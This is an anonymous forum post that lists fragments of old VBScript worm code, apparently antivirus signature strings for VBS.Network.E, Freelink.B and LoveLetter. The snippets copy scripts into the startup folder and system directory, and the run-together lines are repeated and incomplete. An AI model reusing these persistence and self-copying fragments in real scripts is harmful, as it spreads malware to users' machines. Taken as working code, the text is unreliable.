- 525 名前:非公開@個人情報保護のため [04/05/27 20:36]
- VBS.Network.E
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" VBSInternal cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" VBS Freelink.B Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") cIf s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
|
|